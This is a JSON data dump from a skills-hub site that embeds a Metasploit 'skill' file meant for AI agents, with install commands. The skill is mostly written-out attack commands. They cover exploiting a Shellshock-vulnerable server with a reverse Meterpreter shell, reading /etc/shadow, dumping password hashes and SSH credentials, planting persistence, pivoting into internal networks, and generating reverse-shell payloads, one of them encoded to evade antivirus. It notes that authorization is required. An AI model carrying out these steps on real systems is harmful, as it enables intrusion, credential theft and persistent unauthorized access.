[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EFGD4J8E46FYA2FCWRM9WW":3,"skill-same:01M6EFGD4J8E46FYA2FCWRM9WW":52},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":21,"frontMatter":22,"refName":23,"commitSha":24,"skillDirectory":25,"forksCount":26,"repositoryHtmlUrl":27,"repositoryHomepageUrl":28,"ownerHtmlUrl":29,"ownerBlogUrl":6,"ownerDescription":30,"updatedAt":31,"install":32,"resources":45},"01M6EFGD4J8E46FYA2FCWRM9WW","metasploit",null,"ComeOnOliver\u002Fskillshub","ComeOnOliver","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F43215937?v=4","01M6E5JNFECJAAVFE0W7SMWWD2","Haoran Shu","01M6E5JNNDQS7AJZDYFQ8TPZCK",67,"MIT","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002FTerminalSkills\u002Fskills\u002Fmetasploit\u002FSKILL.md",[],[18],"Metasploit","2026-11-10 10:12:30",false,"# Metasploit Framework\n\n## Overview\n\nMetasploit is the world's most used penetration testing framework. It contains 2,000+ exploits, 500+ payloads, and extensive post-exploitation modules. Use it to validate vulnerabilities found during scanning, demonstrate impact, establish persistent access, and pivot through networks. Integrates with Nmap output for seamless workflow.\n\n## Instructions\n\n### Step 1: Setup and Database\n\n```bash\n# Start Metasploit with database (stores results across sessions)\nmsfdb init\nmsfconsole\n\n# Inside msfconsole:\n# Import Nmap scan results\nmsf6> db_import scan-results.xml\nmsf6> hosts            # list discovered hosts\nmsf6> services         # list discovered services\nmsf6> vulns            # list known vulnerabilities\n\n# Search for exploits by service\u002FCVE\nmsf6> search type:exploit name:apache\nmsf6> search cve:2024-1234\nmsf6> search type:exploit platform:linux service:ssh\n```\n\n### Step 2: Exploit a Vulnerability\n\n```bash\n# Example: Exploiting a known web server vulnerability\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec\nmsf6 exploit(apache_mod_cgi_bash_env_exec)> show options\n\n# Configure target\nmsf6> set RHOSTS 192.168.1.100\nmsf6> set RPORT 80\nmsf6> set TARGETURI \u002Fcgi-bin\u002Fstatus\n\n# Choose payload\nmsf6> set PAYLOAD linux\u002Fx86\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 192.168.1.50      # your IP\nmsf6> set LPORT 4444\n\n# Validate before exploiting\nmsf6> check                         # tests if target is vulnerable (non-destructive)\n\n# Exploit\nmsf6> exploit\n# [*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:43210)\n```\n\n### Step 3: Meterpreter Post-Exploitation\n\n```bash\n# Inside a Meterpreter session:\nmeterpreter> sysinfo                # OS, hostname, architecture\nmeterpreter> getuid                 # current user\nmeterpreter> getpid                 # current process\n\n# File system\nmeterpreter> pwd\nmeterpreter> ls\nmeterpreter> cat \u002Fetc\u002Fshadow\nmeterpreter> download \u002Fetc\u002Fpasswd .\u002Floot\u002F\nmeterpreter> upload .\u002Ftools\u002Flinpeas.sh \u002Ftmp\u002F\n\n# Network\nmeterpreter> ipconfig               # network interfaces\nmeterpreter> route                   # routing table\nmeterpreter> arp                     # ARP cache (discover other hosts)\nmeterpreter> portfwd add -l 3306 -p 3306 -r 10.0.0.5\n# Forward local 3306 to internal host 10.0.0.5:3306\n\n# Privilege escalation\nmeterpreter> getsystem              # attempt local privilege escalation\nmeterpreter> run post\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n# Suggests kernel exploits for the target OS\n\n# Persistence (authorized testing only)\nmeterpreter> run persistence -U -i 60 -p 4444 -r 192.168.1.50\n\n# Credential harvesting\nmeterpreter> hashdump               # dump password hashes (needs SYSTEM)\nmeterpreter> run post\u002Flinux\u002Fgather\u002Fhashdump\nmeterpreter> run post\u002Fmulti\u002Fgather\u002Fssh_creds\n```\n\n### Step 4: Pivoting Through Networks\n\n```bash\n# Add route through compromised host to reach internal network\nmsf6> route add 10.0.0.0\u002F24 1      # session 1 as gateway\n\n# Use SOCKS proxy for tools that can't route through Meterpreter\nmsf6> use auxiliary\u002Fserver\u002Fsocks_proxy\nmsf6> set SRVPORT 1080\nmsf6> run -j\n\n# Now use proxychains with any tool\n# proxychains nmap -sV 10.0.0.0\u002F24\n# proxychains sqlmap -u \"http:\u002F\u002F10.0.0.5\u002Fapp?id=1\"\n\n# Scan internal network through the pivot\nmsf6> use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp\nmsf6> set RHOSTS 10.0.0.0\u002F24\nmsf6> set PORTS 22,80,443,3306,5432,6379,8080\nmsf6> run\n```\n\n### Step 5: Payload Generation\n\n```bash\n# Generate standalone payloads with msfvenom\n# Linux reverse shell\nmsfvenom -p linux\u002Fx64\u002Fmeterpreter\u002Freverse_tcp \\\n  LHOST=192.168.1.50 LPORT=4444 \\\n  -f elf -o shell.elf\n\n# Windows reverse shell\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp \\\n  LHOST=192.168.1.50 LPORT=4444 \\\n  -f exe -o shell.exe\n\n# Web payloads\nmsfvenom -p php\u002Fmeterpreter\u002Freverse_tcp \\\n  LHOST=192.168.1.50 LPORT=4444 \\\n  -f raw -o shell.php\n\nmsfvenom -p java\u002Fjsp_shell_reverse_tcp \\\n  LHOST=192.168.1.50 LPORT=4444 \\\n  -f war -o shell.war\n\n# Encoded payload (evade basic AV)\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp \\\n  LHOST=192.168.1.50 LPORT=4444 \\\n  -e x64\u002Fxor_dynamic -i 5 \\\n  -f exe -o encoded-shell.exe\n\n# Set up handler for the payload\nmsf6> use exploit\u002Fmulti\u002Fhandler\nmsf6> set PAYLOAD linux\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 0.0.0.0\nmsf6> set LPORT 4444\nmsf6> exploit -j       # run in background\n```\n\n## Guidelines\n\n- **Written authorization is mandatory.** Metasploit contains real exploits — unauthorized use is a criminal offense.\n- Always `check` before `exploit` — confirms vulnerability without triggering the payload.\n- Use `db_import` with Nmap XML to build a target database — then `services` and `vulns` guide your exploit selection.\n- Meterpreter is a stealthy, in-memory payload. Prefer it over raw shells for post-exploitation.\n- Document every action. Metasploit logs to `~\u002F.msf4\u002Flogs\u002F` — supplement with screenshots.\n- Pivoting via `route add` + SOCKS proxy lets you reach internal networks from your workstation.\n- `exploit -j` runs exploits as background jobs — handle multiple sessions simultaneously.\n- msfvenom payloads need a matching handler. Always start the handler before delivering the payload.\n- Clean up after testing: remove persistence, uploaded files, and port forwards.\n",{},"main","def8531e65114c0fca8fb8551c1871ee0eed705c","skills\u002FTerminalSkills\u002Fskills\u002Fmetasploit",24,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub","https:\u002F\u002Fskillshub.wtf","https:\u002F\u002Fgithub.com\u002FComeOnOliver","AI & Blockchain Engineer\r\n","2026-06-24 22:07:19",{"source":7,"skillName":5,"commands":33,"prompt":43,"zipAvailable":44},[34,37,40],{"tool":35,"command":36},"npx","npx skills add ComeOnOliver\u002Fskillshub --skill metasploit",{"tool":38,"command":39},"bunx","bunx skills add ComeOnOliver\u002Fskillshub --skill metasploit",{"tool":41,"command":42},"pnpm","pnpm dlx skills add ComeOnOliver\u002Fskillshub --skill metasploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002FTerminalSkills\u002Fskills\u002Fmetasploit\u002FSKILL.md",true,[46],{"path":47,"resourceType":48,"resourceTypeDesc":49,"sizeBytes":50,"sourceHtmlUrl":51},"agents\u002Fopenai.yaml","REFERENCE","参考文档",89,"https:\u002F\u002Fgithub.com\u002Fvinvcn\u002Fmattpocock-skills-zh-CN\u002Fblob\u002Fmain\u002Fskills\u002Fengineering\u002Fresearch\u002Fagents\u002Fopenai.yaml",[53,62,71,80,86,92],{"skillNo":54,"name":55,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M6FKJN13GMG4KY57J3QD8GY5","model-hierarchy-skill","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzscole\u002Fmodel-hierarchy-skill\u002Fmodel-hierarchy-skill\u002FSKILL.md",[],[59,60,61],"model","model hierarchy","model hierarchy skill",{"skillNo":63,"name":64,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":65,"categories":66,"keywords":67,"publishedAt":19},"01M6FKJJJ6GCAMR4PPPRD12M5X","zoom-mcp","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-mcp\u002FSKILL.md",[],[68,69,70],"MCP","zoom","zoom mcp",{"skillNo":72,"name":73,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M6FKJE3KYT3KPEZMEEHYKA6K","zoom-apps-sdk","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-apps-sdk\u002FSKILL.md",[],[77,78,79,69],"sdk","zoom apps sdk","apps",{"skillNo":81,"name":82,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M6FKJ9EDH9Q5VWDF8HAJRSP0","windows","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwindows\u002FSKILL.md",[],[82],{"skillNo":87,"name":88,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M6FKJ666BEEFC3AE9GJ72Q93","whiteboard","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwhiteboard\u002FSKILL.md",[],[88],{"skillNo":93,"name":94,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":19},"01M6FKJ21WFCDGTJQ2Q91T9DVW","websockets","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwebsockets\u002FSKILL.md",[],[94]]